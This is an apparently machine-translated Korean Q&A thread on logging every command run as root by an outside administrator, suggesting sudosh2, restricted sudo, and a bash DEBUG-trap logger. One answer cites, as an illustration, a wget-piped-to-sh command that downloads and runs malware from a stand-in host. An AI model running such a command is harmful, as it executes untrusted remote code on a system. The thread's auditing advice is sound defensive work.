[server] 루트에서 실행 된 모든 명령을 기록

외부 시스템 관리자에게 루트 서버에 대한 액세스 권한을 부여하고 싶지만, 그가 서버에서하고있는 일, 예를 들어 데이터 복사 등을 원하지 않는지 다시 확인하고 싶습니다. 또한 읽기 전용이며 편집하지 않은 파일에 액세스 한 파일을 추적하고 싶습니다.

어떻게해야합니까?



답변

신뢰하지만 확인하십시오!

sudosh2를 확인하십시오 . sudosh2는 FreeBSD 포트에 의해 제공됩니다. RedHat 및 Ubuntu 용 패키지가 제공됩니다. 다음은 해당 웹 사이트의 설명입니다.

sudosh는 감사 셸 필터이며 로그인 셸로 사용할 수 있습니다. Sudosh는 모든 키 입력 및 출력을 기록하고 VCR처럼 세션을 재생할 수 있습니다.

Sudosh를 사용하면 사용자 세션을 재생할 수 있으므로 사용자가 본대로 모든 입력 출력을 볼 수 있습니다. 모든 것, 키 입력, 오타, 백 스페이스,에서 편집 한 내용 vi,의 출력 wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh등을 볼 수 있습니다.

sudosh 로그를 syslog로 보내 시스템에서 멀리 떨어진 중앙 syslog 서버에 저장할 수 있습니다.

sudosh2는 sudosh를 대신하여 sudosh를 대체했습니다.

사용자가 수퍼 유저 권한을 요구하는 교육 기관에서 일하십니까? 아니면 회사에서 일하면서 사용자가 자신의 VM에 대한 수퍼 유저 권한을 갖도록 하시겠습니까? 이것은 당신을위한 해결책 일 수 있습니다.


답변

그에게 루트 액세스 권한을 부여하지 마십시오. 대신 권한이없는 사용자 계정을 제공하고 모든 작업을 수행하도록 요청하면 sudo모든 명령이 기록됩니다.

이 사람이 잘못된 의도를 가지고 있고 그에게 완전한 sudo 권한을 주면, 그러한 명령을 기록하지 않고서도 그러한 의도를 수행 수있는 방법을 찾을 입니다. 이 경우 업무 수행에 필요한 특정 명령에만 액세스 권한을 부여하십시오.


답변

sudosh2에 익숙하지 않지만 쉘에 .bashrc입력하는 모든 명령 bash을 파일 에 기록 하려면 다음을 입력 하십시오 ~/.command_log.

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

위의 DEBUG명령은 일반 명령이 실행되기 직전에 실행되는 트랩을 설정합니다 . caller내장 명령이 대화 형 쉘에서 입력 또는 같은 것을 통해 실행되는지 여부를 테스트하는 데 사용됩니다 .bashrc. 값 ${BASH_COMMAND}은 현재 실행중인 명령을 포함합니다.


답변